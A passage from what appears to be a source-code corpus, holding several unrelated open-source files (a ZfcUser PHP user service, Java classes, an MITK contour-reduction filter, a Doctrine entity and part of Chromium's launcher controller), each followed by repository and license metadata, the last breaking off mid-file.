<?php namespace ZfcUser\Service; use Interop\Container\ContainerInterface; use Zend\Authentication\AuthenticationService; use Zend\Form\Form; use Zend\ServiceManager\ServiceManager; use Zend\Crypt\Password\Bcrypt; use Zend\Hydrator; use ZfcUser\EventManager\EventProvider; use ZfcUser\Mapper\UserInterface as UserMapperInterface; use ZfcUser\Options\UserServiceOptionsInterface; class User extends EventProvider { /** * @var UserMapperInterface */ protected $userMapper; /** * @var AuthenticationService */ protected $authService; /** * @var Form */ protected $loginForm; /** * @var Form */ protected $registerForm; /** * @var Form */ protected $changePasswordForm; /** * @var ServiceManager */ protected $serviceManager; /** * @var UserServiceOptionsInterface */ protected $options; /** * @var Hydrator\ClassMethods */ protected $formHydrator; /** * createFromForm * * @param array $data * @return \ZfcUser\Entity\UserInterface * @throws Exception\InvalidArgumentException */ public function register(array $data) { $class = $this->getOptions()->getUserEntityClass(); $user = new $class; $form = $this->getRegisterForm(); $form->setHydrator($this->getFormHydrator()); $form->bind($user); $form->setData($data); if (!$form->isValid()) { return false; } $user = $form->getData(); /* @var $user \ZfcUser\Entity\UserInterface */ $bcrypt = new Bcrypt; $bcrypt->setCost($this->getOptions()->getPasswordCost()); $user->setPassword($bcrypt->create($user->getPassword())); if ($this->getOptions()->getEnableUsername()) { $user->setUsername($data['username']); } if ($this->getOptions()->getEnableDisplayName()) { $user->setDisplayName($data['display_name']); } // If user state is enabled, set the default state value if ($this->getOptions()->getEnableUserState()) { $user->setState($this->getOptions()->getDefaultUserState()); } $this->getEventManager()->trigger(__FUNCTION__, $this, array('user' => $user, 'form' => $form)); $this->getUserMapper()->insert($user); $this->getEventManager()->trigger(__FUNCTION__.'.post', $this, array('user' => $user, 'form' => $form)); return $user; } /** * change the current users password * * @param array $data * @return boolean */ public function changePassword(array $data) { $currentUser = $this->getAuthService()->getIdentity(); $oldPass = $data['credential']; $newPass = $data['newCredential']; $bcrypt = new Bcrypt; $bcrypt->setCost($this->getOptions()->getPasswordCost()); if (!$bcrypt->verify($oldPass, $currentUser->getPassword())) { return false; } $pass = $bcrypt->create($newPass); $currentUser->setPassword($pass); $this->getEventManager()->trigger(__FUNCTION__, $this, array('user' => $currentUser, 'data' => $data)); $this->getUserMapper()->update($currentUser); $this->getEventManager()->trigger(__FUNCTION__.'.post', $this, array('user' => $currentUser, 'data' => $data)); return true; } public function changeEmail(array $data) { $currentUser = $this->getAuthService()->getIdentity(); $bcrypt = new Bcrypt; $bcrypt->setCost($this->getOptions()->getPasswordCost()); if (!$bcrypt->verify($data['credential'], $currentUser->getPassword())) { return false; } $currentUser->setEmail($data['newIdentity']); $this->getEventManager()->trigger(__FUNCTION__, $this, array('user' => $currentUser, 'data' => $data)); $this->getUserMapper()->update($currentUser); $this->getEventManager()->trigger(__FUNCTION__.'.post', $this, array('user' => $currentUser, 'data' => $data)); return true; } /** * getUserMapper * * @return UserMapperInterface */ public function getUserMapper() { if (null === $this->userMapper) { $this->userMapper = $this->getServiceManager()->get('zfcuser_user_mapper'); } return $this->userMapper; } /** * setUserMapper * * @param UserMapperInterface $userMapper * @return User */ public function setUserMapper(UserMapperInterface $userMapper) { $this->userMapper = $userMapper; return $this; } /** * getAuthService * * @return AuthenticationService */ public function getAuthService() { if (null === $this->authService) { $this->authService = $this->getServiceManager()->get('zfcuser_auth_service'); } return $this->authService; } /** * setAuthenticationService * * @param AuthenticationService $authService * @return User */ public function setAuthService(AuthenticationService $authService) { $this->authService = $authService; return $this; } /** * @return Form */ public function getRegisterForm() { if (null === $this->registerForm) { $this->registerForm = $this->getServiceManager()->get('zfcuser_register_form'); } return $this->registerForm; } /** * @param Form $registerForm * @return User */ public function setRegisterForm(Form $registerForm) { $this->registerForm = $registerForm; return $this; } /** * @return Form */ public function getChangePasswordForm() { if (null === $this->changePasswordForm) { $this->changePasswordForm = $this->getServiceManager()->get('zfcuser_change_password_form'); } return $this->changePasswordForm; } /** * @param Form $changePasswordForm * @return User */ public function setChangePasswordForm(Form $changePasswordForm) { $this->changePasswordForm = $changePasswordForm; return $this; } /** * get service options * * @return UserServiceOptionsInterface */ public function getOptions() { if (!$this->options instanceof UserServiceOptionsInterface) { $this->setOptions($this->getServiceManager()->get('zfcuser_module_options')); } return $this->options; } /** * set service options * * @param UserServiceOptionsInterface $options */ public function setOptions(UserServiceOptionsInterface $options) { $this->options = $options; } /** * Retrieve service manager instance * * @return ServiceManager */ public function getServiceManager() { return $this->serviceManager; } /** * Set service manager instance * * @param ContainerInterface $serviceManager * @return User */ public function setServiceManager(ContainerInterface $serviceManager) { $this->serviceManager = $serviceManager; return $this; } /** * Return the Form Hydrator * * @return \Zend\Hydrator\ClassMethods */ public function getFormHydrator() { if (!$this->formHydrator instanceof Hydrator\HydratorInterface) { $this->setFormHydrator($this->getServiceManager()->get('zfcuser_register_form_hydrator')); } return $this->formHydrator; } /** * Set the Form Hydrator to use * * @param Hydrator\HydratorInterface $formHydrator * @return User */ public function setFormHydrator(Hydrator\HydratorInterface $formHydrator) { $this->formHydrator = $formHydrator; return $this; } }
ZF-Commons/ZfcUser
src/ZfcUser/Service/User.php
PHP
bsd-3-clause
7,992
package synergynet3.web.apps.numbernet.shared; import java.io.Serializable; import com.google.gwt.user.client.rpc.IsSerializable; /** * Represents an individual person. * * @author dcs0ah1 */ public class Participant implements Serializable, IsSerializable { /** The Constant serialVersionUID. */ private static final long serialVersionUID = 2647062936457560005L; /** The name. */ private String name; /** * Instantiates a new participant. */ public Participant() { this.name = "<none>"; } /** * Instantiates a new participant. * * @param name * the name */ public Participant(String name) { this.name = name; } /** * Gets the name. * * @return the name */ public String getName() { return name; } /* * (non-Javadoc) * @see java.lang.Object#toString() */ @Override public String toString() { return getName(); } }
synergynet/synergynet3.1
synergynet3.1-parent/synergynet3-numbernet-core/src/main/java/synergynet3/web/apps/numbernet/shared/Participant.java
Java
bsd-3-clause
896
/*=================================================================== The Medical Imaging Interaction Toolkit (MITK) Copyright (c) German Cancer Research Center, Division of Medical and Biological Informatics. All rights reserved. This software is distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See LICENSE.txt or http://www.mitk.org for details. ===================================================================*/ #include "mitkReduceContourSetFilter.h" mitk::ReduceContourSetFilter::ReduceContourSetFilter() { m_MaxSegmentLenght = 0; m_StepSize = 10; m_Tolerance = -1; m_ReductionType = DOUGLAS_PEUCKER; m_MaxSpacing = -1; m_MinSpacing = -1; this->m_UseProgressBar = false; this->m_ProgressStepSize = 1; m_NumberOfPointsAfterReduction = 0; mitk::Surface::Pointer output = mitk::Surface::New(); this->SetNthOutput(0, output.GetPointer()); } mitk::ReduceContourSetFilter::~ReduceContourSetFilter() { } void mitk::ReduceContourSetFilter::SetInput( unsigned int idx, const mitk::Surface* surface ) { this->SetNthInput( idx, const_cast<mitk::Surface*>( surface ) ); this->Modified(); } void mitk::ReduceContourSetFilter::SetInput( const mitk::Surface* surface ) { this->SetInput( 0, const_cast<mitk::Surface*>( surface ) ); } void mitk::ReduceContourSetFilter::GenerateData() { unsigned int numberOfInputs = this->GetNumberOfIndexedInputs(); unsigned int numberOfOutputs (0); vtkSmartPointer<vtkPolyData> newPolyData; vtkSmartPointer<vtkCellArray> newPolygons; vtkSmartPointer<vtkPoints> newPoints; //For the purpose of evaluation // unsigned int numberOfPointsBefore (0); m_NumberOfPointsAfterReduction=0; for(unsigned int i = 0; i < numberOfInputs; i++) { mitk::Surface* currentSurface = const_cast<mitk::Surface*>( this->GetInput(i) ); vtkSmartPointer<vtkPolyData> polyData = currentSurface->GetVtkPolyData(); newPolyData = vtkSmartPointer<vtkPolyData>::New(); newPolygons = vtkSmartPointer<vtkCellArray>::New(); newPoints = vtkSmartPointer<vtkPoints>::New(); vtkSmartPointer<vtkCellArray> existingPolys = polyData->GetPolys(); vtkSmartPointer<vtkPoints> existingPoints = polyData->GetPoints(); existingPolys->InitTraversal(); vtkIdType* cell (nullptr); vtkIdType cellSize (0); for( existingPolys->InitTraversal(); existingPolys->GetNextCell(cellSize, cell);) { bool incorporatePolygon = this->CheckForIntersection(cell,cellSize,existingPoints, /*numberOfIntersections, intersectionPoints, */i); if ( !incorporatePolygon ) continue; vtkSmartPointer<vtkPolygon> newPolygon = vtkSmartPointer<vtkPolygon>::New(); if(m_ReductionType == NTH_POINT) { this->ReduceNumberOfPointsByNthPoint(cellSize, cell, existingPoints, newPolygon, newPoints); if (newPolygon->GetPointIds()->GetNumberOfIds() != 0) { newPolygons->InsertNextCell(newPolygon); } } else if (m_ReductionType == DOUGLAS_PEUCKER) { this->ReduceNumberOfPointsByDouglasPeucker(cellSize, cell, existingPoints, newPolygon, newPoints); if (newPolygon->GetPointIds()->GetNumberOfIds() > 3) { newPolygons->InsertNextCell(newPolygon); } } //Again for evaluation // numberOfPointsBefore += cellSize; m_NumberOfPointsAfterReduction += newPolygon->GetPointIds()->GetNumberOfIds(); } if (newPolygons->GetNumberOfCells() != 0) { newPolyData->SetPolys(newPolygons); newPolyData->SetPoints(newPoints); newPolyData->BuildLinks(); this->SetNumberOfIndexedOutputs(numberOfOutputs + 1); mitk::Surface::Pointer surface = mitk::Surface::New(); this->SetNthOutput(numberOfOutputs, surface.GetPointer()); surface->SetVtkPolyData(newPolyData); numberOfOutputs++; } } // MITK_INFO<<"Points before: "<<numberOfPointsBefore<<" ##### Points after: "<<numberOfPointsAfter; this->SetNumberOfIndexedOutputs(numberOfOutputs); if (numberOfOutputs == 0) { mitk::Surface::Pointer tmp_output = mitk::Surface::New(); tmp_output->SetVtkPolyData(vtkPolyData::New()); this->SetNthOutput(0, tmp_output.GetPointer()); } //Setting progressbar if (this->m_UseProgressBar) mitk::ProgressBar::GetInstance()->Progress(this->m_ProgressStepSize); } void mitk::ReduceContourSetFilter::ReduceNumberOfPointsByNthPoint (vtkIdType cellSize, vtkIdType* cell, vtkPoints* points, vtkPolygon* reducedPolygon, vtkPoints* reducedPoints) { unsigned int newNumberOfPoints (0); unsigned int mod = cellSize%m_StepSize; if(mod == 0) { newNumberOfPoints = cellSize/m_StepSize; } else { newNumberOfPoints = ( (cellSize-mod)/m_StepSize )+1; } if (newNumberOfPoints <= 3) { return; } reducedPolygon->GetPointIds()->SetNumberOfIds(newNumberOfPoints); reducedPolygon->GetPoints()->SetNumberOfPoints(newNumberOfPoints); for (vtkIdType i = 0; i < cellSize; i++) { if (i%m_StepSize == 0) { double point[3]; points->GetPoint(cell[i], point); vtkIdType id = reducedPoints->InsertNextPoint(point); reducedPolygon->GetPointIds()->SetId(i/m_StepSize, id); } } vtkIdType id = cell[0]; double point[3]; points->GetPoint(id, point); id = reducedPoints->InsertNextPoint(point); reducedPolygon->GetPointIds()->SetId(newNumberOfPoints-1, id); } void mitk::ReduceContourSetFilter::ReduceNumberOfPointsByDouglasPeucker(vtkIdType cellSize, vtkIdType* cell, vtkPoints* points, vtkPolygon* reducedPolygon, vtkPoints* reducedPoints) { //If the cell is too small to obtain a reduced polygon with the given stepsize return if (cellSize <= static_cast<vtkIdType>(m_StepSize*3))return; /* What we do now is (see the Douglas Peucker Algorithm): 1. Divide the current contour in two line segments (start - middle; middle - end), put them into the stack 2. Fetch first line segment and create the following vectors: - v1 = (start;end) - v2 = (start;currentPoint) -> for each point of the current line segment! 3. Calculate the distance from the currentPoint to v1: a. Determine the length of the orthogonal projection of v2 to v1 by: l = v2 * (normalized v1) b. There a three possibilities for the distance then: d = sqrt(lenght(v2)^2 - l^2) if l > 0 and l < length(v1) d = lenght(v2-v1) if l > 0 and l > lenght(v1) d = length(v2) if l < 0 because v2 is then pointing in a different direction than v1 4. Memorize the point with the biggest distance and create two new line segments with it at the end of the iteration and put it into the stack 5. If the distance value D <= m_Tolerance, then add the start and end index and the corresponding points to the reduced ones */ //First of all set tolerance if none is specified if(m_Tolerance < 0) { if(m_MaxSpacing > 0) { m_Tolerance = m_MinSpacing; } else { m_Tolerance = 1.5; } } std::stack<LineSegment> lineSegments; //1. Divide in line segments LineSegment ls2; ls2.StartIndex = cell[cellSize/2]; ls2.EndIndex = cell[cellSize-1]; lineSegments.push(ls2); LineSegment ls1; ls1.StartIndex = cell[0]; ls1.EndIndex = cell[cellSize/2]; lineSegments.push(ls1); LineSegment currentSegment; double v1[3]; double v2[3]; double tempV[3]; double lenghtV1; double currentMaxDistance (0); vtkIdType currentMaxDistanceIndex (0); double l; double d; vtkIdType pointId (0); //Add the start index to the reduced points. From now on just the end indices will be added pointId = reducedPoints->InsertNextPoint(points->GetPoint(cell[0])); reducedPolygon->GetPointIds()->InsertNextId(pointId); while (!lineSegments.empty()) { currentSegment = lineSegments.top(); lineSegments.pop(); //2. Create vectors points->GetPoint(currentSegment.EndIndex, tempV); points->GetPoint(currentSegment.StartIndex, v1); v1[0] = tempV[0]-v1[0]; v1[1] = tempV[1]-v1[1]; v1[2] = tempV[2]-v1[2]; lenghtV1 = vtkMath::Norm(v1); vtkMath::Normalize(v1); int range = currentSegment.EndIndex - currentSegment.StartIndex; for (int i = 1; i < abs(range); ++i) { points->GetPoint(currentSegment.StartIndex+i, tempV); points->GetPoint(currentSegment.StartIndex, v2); v2[0] = tempV[0]-v2[0]; v2[1] = tempV[1]-v2[1]; v2[2] = tempV[2]-v2[2]; //3. Calculate the distance l = vtkMath::Dot(v2, v1); d = vtkMath::Norm(v2); if (l > 0 && l < lenghtV1) { d = sqrt((d*d-l*l)); } else if (l > 0 && l > lenghtV1) { tempV[0] = lenghtV1*v1[0] - v2[0]; tempV[1] = lenghtV1*v1[1] - v2[1]; tempV[2] = lenghtV1*v1[2] - v2[2]; d = vtkMath::Norm(tempV); } //4. Memorize maximum distance if (d > currentMaxDistance) { currentMaxDistance = d; currentMaxDistanceIndex = currentSegment.StartIndex+i; } } //4. & 5. if (currentMaxDistance <= m_Tolerance) { //double temp[3]; int segmentLenght = currentSegment.EndIndex - currentSegment.StartIndex; if (segmentLenght > (int)m_MaxSegmentLenght) { m_MaxSegmentLenght = (unsigned int)segmentLenght; } // MITK_INFO<<"Lenght: "<<abs(segmentLenght); if (abs(segmentLenght) > 25) { unsigned int newLenght(segmentLenght); while (newLenght > 25) { newLenght = newLenght*0.5; } unsigned int divisions = abs(segmentLenght)/newLenght; // MITK_INFO<<"Divisions: "<<divisions; for (unsigned int i = 1; i<=divisions; ++i) { // MITK_INFO<<"Inserting MIDDLE: "<<(currentSegment.StartIndex + newLenght*i); pointId = reducedPoints->InsertNextPoint(points->GetPoint(currentSegment.StartIndex + newLenght*i)); reducedPolygon->GetPointIds()->InsertNextId(pointId); } } // MITK_INFO<<"Inserting END: "<<currentSegment.EndIndex; pointId = reducedPoints->InsertNextPoint(points->GetPoint(currentSegment.EndIndex)); reducedPolygon->GetPointIds()->InsertNextId(pointId); } else { ls2.StartIndex = currentMaxDistanceIndex; ls2.EndIndex = currentSegment.EndIndex; lineSegments.push(ls2); ls1.StartIndex = currentSegment.StartIndex; ls1.EndIndex = currentMaxDistanceIndex; lineSegments.push(ls1); } currentMaxDistance = 0; } } bool mitk::ReduceContourSetFilter::CheckForIntersection (vtkIdType* currentCell, vtkIdType currentCellSize, vtkPoints* currentPoints,/* vtkIdType numberOfIntersections, vtkIdType* intersectionPoints,*/ unsigned int currentInputIndex) { /* If we check the current cell for intersections then we have to consider three possibilies: 1. There is another cell among all the other input surfaces which intersects the current polygon: - That means we have to save the intersection points because these points should not be eliminated 2. There current polygon exists just because of an intersection of another polygon with the current plane defined by the current polygon - That means the current polygon should not be incorporated and all of its points should be eliminated 3. There is no intersection - That mean we can just reduce the current polygons points without considering any intersections */ for (unsigned int i = 0; i < this->GetNumberOfIndexedInputs(); i++) { //Don't check for intersection with the polygon itself if (i == currentInputIndex) continue; //Get the next polydata to check for intersection vtkSmartPointer<vtkPolyData> poly = const_cast<Surface*>( this->GetInput(i) )->GetVtkPolyData(); vtkSmartPointer<vtkCellArray> polygonArray = poly->GetPolys(); polygonArray->InitTraversal(); vtkIdType anotherInputPolygonSize (0); vtkIdType* anotherInputPolygonIDs(nullptr); /* The procedure is: - Create the equation of the plane, defined by the points of next input - Calculate the distance of each point of the current polygon to the plane - If the maximum distance is not bigger than 1.5 of the maximum spacing AND the minimal distance is not bigger than 0.5 of the minimum spacing then the current contour is an intersection contour */ for( polygonArray->InitTraversal(); polygonArray->GetNextCell(anotherInputPolygonSize, anotherInputPolygonIDs);) { //Choosing three plane points to calculate the plane vectors double p1[3]; double p2[3]; double p3[3]; //The plane vectors double v1[3]; double v2[3] = { 0 }; //The plane normal double normal[3]; //Create first Vector poly->GetPoint(anotherInputPolygonIDs[0], p1); poly->GetPoint(anotherInputPolygonIDs[1], p2); v1[0] = p2[0]-p1[0]; v1[1] = p2[1]-p1[1]; v1[2] = p2[2]-p1[2]; //Find 3rd point for 2nd vector (The angle between the two plane vectors should be bigger than 30 degrees) double maxDistance (0); double minDistance (10000); for (vtkIdType j = 2; j < anotherInputPolygonSize; j++) { poly->GetPoint(anotherInputPolygonIDs[j], p3); v2[0] = p3[0]-p1[0]; v2[1] = p3[1]-p1[1]; v2[2] = p3[2]-p1[2]; //Calculate the angle between the two vector for the current point double dotV1V2 = vtkMath::Dot(v1,v2); double absV1 = sqrt(vtkMath::Dot(v1,v1)); double absV2 = sqrt(vtkMath::Dot(v2,v2)); double cosV1V2 = dotV1V2/(absV1*absV2); double arccos = acos(cosV1V2); double degree = vtkMath::DegreesFromRadians(arccos); //If angle is bigger than 30 degrees break if (degree > 30) break; }//for (to find 3rd point) //Calculate normal of the plane by taking the cross product of the two vectors vtkMath::Cross(v1,v2,normal); vtkMath::Normalize(normal); //Determine position of the plane double lambda = vtkMath::Dot(normal, p1); /* Calculate the distance to the plane for each point of the current polygon If the distance is zero then save the currentPoint as intersection point */ for (vtkIdType k = 0; k < currentCellSize; k++) { double currentPoint[3]; currentPoints->GetPoint(currentCell[k], currentPoint); double tempPoint[3]; tempPoint[0] = normal[0]*currentPoint[0]; tempPoint[1] = normal[1]*currentPoint[1]; tempPoint[2] = normal[2]*currentPoint[2]; double temp = tempPoint[0]+tempPoint[1]+tempPoint[2]-lambda; double distance = fabs(temp); if (distance > maxDistance) { maxDistance = distance; } if (distance < minDistance) { minDistance = distance; } }//for (to calculate distance and intersections with currentPolygon) if (maxDistance < 1.5*m_MaxSpacing && minDistance < 0.5*m_MinSpacing) { return false; } //Because we are considering the plane defined by the acual input polygon only one iteration is sufficient //We do not need to consider each cell of the plane break; }//for (to traverse through all cells of actualInputPolyData) }//for (to iterate through all inputs) return true; } void mitk::ReduceContourSetFilter::GenerateOutputInformation() { Superclass::GenerateOutputInformation(); } void mitk::ReduceContourSetFilter::Reset() { for (unsigned int i = 0; i < this->GetNumberOfIndexedInputs(); i++) { this->PopBackInput(); } this->SetNumberOfIndexedInputs(0); this->SetNumberOfIndexedOutputs(0); mitk::Surface::Pointer output = mitk::Surface::New(); this->SetNthOutput(0, output.GetPointer()); m_NumberOfPointsAfterReduction = 0; } void mitk::ReduceContourSetFilter::SetUseProgressBar(bool status) { this->m_UseProgressBar = status; } void mitk::ReduceContourSetFilter::SetProgressStepSize(unsigned int stepSize) { this->m_ProgressStepSize = stepSize; }
NifTK/MITK
Modules/SurfaceInterpolation/mitkReduceContourSetFilter.cpp
C++
bsd-3-clause
16,276
/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package FRC867.Nano2014.commands; /** * * @author Mike */ public class StartCompressor extends CommandBase { public StartCompressor() { requires(compressor); } // Called just before this Command runs the first time protected void initialize() { } // Called repeatedly when this Command is scheduled to run protected void execute() { compressor.Start(); } // Make this return true when this Command no longer needs to run execute() protected boolean isFinished() { return true; } // Called once after isFinished returns true protected void end() { } // Called when another command which requires one or more of the same // subsystems is scheduled to run protected void interrupted() { } }
FRC867/Nano2014
src/FRC867/Nano2014/commands/StartCompressor.java
Java
bsd-3-clause
983
#include <apps_sfdl_gen/ramput_fast_micro_v_inp_gen.h> #include <apps_sfdl_hw/ramput_fast_micro_v_inp_gen_hw.h> #include <apps_sfdl_gen/ramput_fast_micro_cons.h> //This file will NOT be overwritten by the code generator, if it already //exists. make clean will also not remove this file. ramput_fast_microVerifierInpGenHw::ramput_fast_microVerifierInpGenHw(Venezia* v_) { v = v_; compiler_implementation.v = v_; } //Refer to apps_sfdl_gen/ramput_fast_micro_cons.h for constants to use when generating input. void ramput_fast_microVerifierInpGenHw::create_input(mpq_t* input_q, int num_inputs) { #if IS_REDUCER == 0 //Default implementation is provided by compiler compiler_implementation.create_input(input_q, num_inputs); #endif // states that should be persisted and may not be generated everytime should be created here. if (generate_states) { } }
srinathtv/pepper
pepper/apps_sfdl_hw/ramput_fast_micro_v_inp_gen_hw.cpp
C++
bsd-3-clause
873
<?php namespace Book\Entity; use Doctrine\ORM\Mapping as ORM; use Zend\Form\Annotation\Hydrator; use Zend\Stdlib\Hydrator\ClassMethods; use Zend\Stdlib\Hydrator as Hy; /** * Author * * @ORM\Table(name="author") * @ORM\Entity * @ORM\Entity(repositoryClass="Book\Repository\AuthorRepository") */ class Author { public function __construct($options = null) { $hydrator = new ClassMethods(); // jeito certo de usar os getters e setters automaticos do doctrine $hydrator->hydrate($options, $this); //Configurator::configure($this, $options); } /** * @var integer * * @ORM\Column(name="id", type="integer", nullable=false) * @ORM\Id * @ORM\GeneratedValue(strategy="IDENTITY") */ private $id; /** * @var string * * @ORM\Column(name="name", type="string", length=255, nullable=false) */ private $name = '0'; /** * @var string * * @ORM\Column(name="email", type="string", length=255, nullable=false) */ private $email = '0'; /** * @return int */ public function getId() { return $this->id; } /** * @param int $id */ public function setId($id) { $this->id = $id; } /** * @return string */ public function getName() { return $this->name; } /** * @param string $name */ public function setName($name) { $this->name = $name; } /** * @return string */ public function getEmail() { return $this->email; } /** * @param string $email */ public function setEmail($email) { $this->email = $email; } public function toArray() { return array('id' => $this->getId(), 'name' => $this->getName(), 'email' => $this->getEmail() ); } }
fxcosta/Zend2SkeletonForProof
module/Book/src/Book/Entity/Author.php
PHP
bsd-3-clause
1,933
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "chrome/browser/ui/ash/launcher/chrome_launcher_controller_per_browser.h" #include <vector> #include "ash/launcher/launcher_model.h" #include "ash/root_window_controller.h" #include "ash/shelf/shelf_widget.h" #include "ash/shell.h" #include "ash/wm/window_util.h" #include "base/command_line.h" #include "base/strings/string_number_conversions.h" #include "base/values.h" #include "chrome/browser/app_mode/app_mode_utils.h" #include "chrome/browser/defaults.h" #include "chrome/browser/extensions/app_icon_loader_impl.h" #include "chrome/browser/extensions/extension_service.h" #include "chrome/browser/extensions/extension_system.h" #include "chrome/browser/prefs/incognito_mode_prefs.h" #include "chrome/browser/prefs/pref_service_syncable.h" #include "chrome/browser/prefs/scoped_user_pref_update.h" #include "chrome/browser/profiles/profile.h" #include "chrome/browser/profiles/profile_manager.h" #include "chrome/browser/ui/ash/app_sync_ui_state.h" #include "chrome/browser/ui/ash/chrome_launcher_prefs.h" #include "chrome/browser/ui/ash/launcher/chrome_launcher_app_menu_item.h" #include "chrome/browser/ui/ash/launcher/launcher_app_tab_helper.h" #include "chrome/browser/ui/ash/launcher/launcher_context_menu.h" #include "chrome/browser/ui/ash/launcher/launcher_item_controller.h" #include "chrome/browser/ui/ash/launcher/shell_window_launcher_controller.h" #include "chrome/browser/ui/browser.h" #include "chrome/browser/ui/browser_commands.h" #include "chrome/browser/ui/browser_finder.h" #include "chrome/browser/ui/browser_tabstrip.h" #include "chrome/browser/ui/browser_window.h" #include "chrome/browser/ui/extensions/application_launch.h" #include "chrome/browser/ui/extensions/extension_enable_flow.h" #include "chrome/browser/ui/host_desktop.h" #include "chrome/browser/ui/tabs/tab_strip_model.h" #include "chrome/browser/web_applications/web_app.h" #include "chrome/common/chrome_notification_types.h" #include "chrome/common/chrome_switches.h" #include "chrome/common/extensions/extension.h" #include "chrome/common/extensions/manifest_handlers/icons_handler.h" #include "chrome/common/pref_names.h" #include "chrome/common/url_constants.h" #include "content/public/browser/navigation_entry.h" #include "content/public/browser/notification_service.h" #include "content/public/browser/web_contents.h" #include "extensions/common/url_pattern.h" #include "grit/theme_resources.h" #include "ui/aura/root_window.h" #include "ui/aura/window.h" using content::WebContents; using extensions::Extension; namespace { // Item controller for an app shortcut. Shortcuts track app and launcher ids, // but do not have any associated windows (opening a shortcut will replace the // item with the appropriate LauncherItemController type). class AppShortcutLauncherItemController : public LauncherItemController { public: AppShortcutLauncherItemController( const std::string& app_id, ChromeLauncherControllerPerBrowser* controller) : LauncherItemController(TYPE_SHORTCUT, app_id, controller) { // Google Drive should just refocus to it's main app UI. // TODO(davemoore): Generalize this for other applications. if (app_id == "apdfllckaahabafndbhieahigkjlhalf") { const Extension* extension = launcher_controller()->GetExtensionForAppID(app_id); refocus_url_ = GURL(extension->launch_web_url() + "*"); } } virtual ~AppShortcutLauncherItemController() {} // LauncherItemController overrides: virtual string16 GetTitle() OVERRIDE { return GetAppTitle(); } virtual bool HasWindow(aura::Window* window) const OVERRIDE { return false; } virtual bool IsOpen() const OVERRIDE { return false; } virtual bool IsVisible() const OVERRIDE { return false; } virtual void Launch(int event_flags) OVERRIDE { launcher_controller()->LaunchApp(app_id(), event_flags); } virtual void Activate() OVERRIDE { launcher_controller()->ActivateApp(app_id(), ui::EF_NONE); } virtual void Close() OVERRIDE { // TODO: maybe should treat as unpin? } virtual void Clicked(const ui::Event& event) OVERRIDE { Activate(); } virtual void OnRemoved() OVERRIDE { // AppShortcutLauncherItemController is unowned; delete on removal. delete this; } virtual void LauncherItemChanged( int model_index, const ash::LauncherItem& old_item) OVERRIDE { } virtual ChromeLauncherAppMenuItems GetApplicationList() OVERRIDE { ChromeLauncherAppMenuItems items; return items.Pass(); } // Stores the optional refocus url pattern for this item. const GURL& refocus_url() const { return refocus_url_; } void set_refocus_url(const GURL& refocus_url) { refocus_url_ = refocus_url; } private: GURL refocus_url_; DISALLOW_COPY_AND_ASSIGN(AppShortcutLauncherItemController); }; std::string GetPrefKeyForRootWindow(aura::RootWindow* root_window) { gfx::Display display = gfx::Screen::GetScreenFor( root_window)->GetDisplayNearestWindow(root_window); DCHECK(display.is_valid()); return base::Int64ToString(display.id()); } void UpdatePerDisplayPref(PrefService* pref_service, aura::RootWindow* root_window, const char* pref_key, const std::string& value) { std::string key = GetPrefKeyForRootWindow(root_window); if (key.empty()) return; DictionaryPrefUpdate update(pref_service, prefs::kShelfPreferences); base::DictionaryValue* shelf_prefs = update.Get(); base::DictionaryValue* prefs = NULL; if (!shelf_prefs->GetDictionary(key, &prefs)) { prefs = new base::DictionaryValue(); shelf_prefs->Set(key, prefs); } prefs->SetStringWithoutPathExpansion(pref_key, value); } // Returns a pref value in |pref_service| for the display of |root_window|. The // pref value is stored in |local_path| and |path|, but |pref_service| may have // per-display preferences and the value can be specified by policy. Here is // the priority: // * A value managed by policy. This is a single value that applies to all // displays. // * A user-set value for the specified display. // * A user-set value in |local_path| or |path|, if no per-display settings are // ever specified (see http://crbug.com/173719 for why). |local_path| is // preferred. See comment in |kShelfAlignment| as to why we consider two // prefs and why |local_path| is preferred. // * A value recommended by policy. This is a single value that applies to all // root windows. // * The default value for |local_path| if the value is not recommended by // policy. std::string GetPrefForRootWindow(PrefService* pref_service, aura::RootWindow* root_window, const char* local_path, const char* path) { const PrefService::Preference* local_pref = pref_service->FindPreference(local_path); const std::string value(pref_service->GetString(local_path)); if (local_pref->IsManaged()) return value; std::string pref_key = GetPrefKeyForRootWindow(root_window); bool has_per_display_prefs = false; if (!pref_key.empty()) { const base::DictionaryValue* shelf_prefs = pref_service->GetDictionary( prefs::kShelfPreferences); const base::DictionaryValue* display_pref = NULL; std::string per_display_value; if (shelf_prefs->GetDictionary(pref_key, &display_pref) && display_pref->GetString(path, &per_display_value)) return per_display_value; // If the pref for the specified display is not found, scan the whole prefs // and check if the prefs for other display is already specified. std::string unused_value; for (base::DictionaryValue::Iterator iter(*shelf_prefs); !iter.IsAtEnd(); iter.Advance()) { const base::DictionaryValue* display_pref = NULL; if (iter.value().GetAsDictionary(&display_pref) && display_pref->GetString(path, &unused_value)) { has_per_display_prefs = true; break; } } } if (local_pref->IsRecommended() || !has_per_display_prefs) return value; const base::Value* default_value = pref_service->GetDefaultPrefValue(local_path); std::string default_string; default_value->GetAsString(&default_string); return default_string; } // If prefs have synced and no user-set value exists at |local_path|, the value // from |synced_path| is copied to |local_path|. void MaybePropagatePrefToLocal(PrefServiceSyncable* pref_service, const char* local_path, const char* synced_path) { if (!pref_service->FindPreference(local_path)->HasUserSetting() && pref_service->IsSyncing()) { // First time the user is using this machine, propagate from remote to // local. pref_service->SetString(local_path, pref_service->GetString(synced_path)); } } } // namespace // ChromeLauncherControllerPerBrowser ----------------------------------------- ChromeLauncherControllerPerBrowser::ChromeLauncherControllerPerBrowser( Profile* profile, ash::LauncherModel* model) : model_(model), profile_(profile), app_sync_ui_state_(NULL) { if (!profile_) { // Use the original profile as on chromeos we may get a temporary off the // record profile. profile_ = ProfileManager::GetDefaultProfile()->GetOriginalProfile(); app_sync_ui_state_ = AppSyncUIState::Get(profile_); if (app_sync_ui_state_) app_sync_ui_state_->AddObserver(this); } model_->AddObserver(this); // Right now ash::Shell isn't created for tests. // TODO(mukai): Allows it to observe display change and write tests. if (ash::Shell::HasInstance()) ash::Shell::GetInstance()->display_controller()->AddObserver(this); // TODO(stevenjb): Find a better owner for shell_window_controller_? shell_window_controller_.reset(new ShellWindowLauncherController(this)); app_tab_helper_.reset(new LauncherAppTabHelper(profile_)); app_icon_loader_.reset(new extensions::AppIconLoaderImpl( profile_, 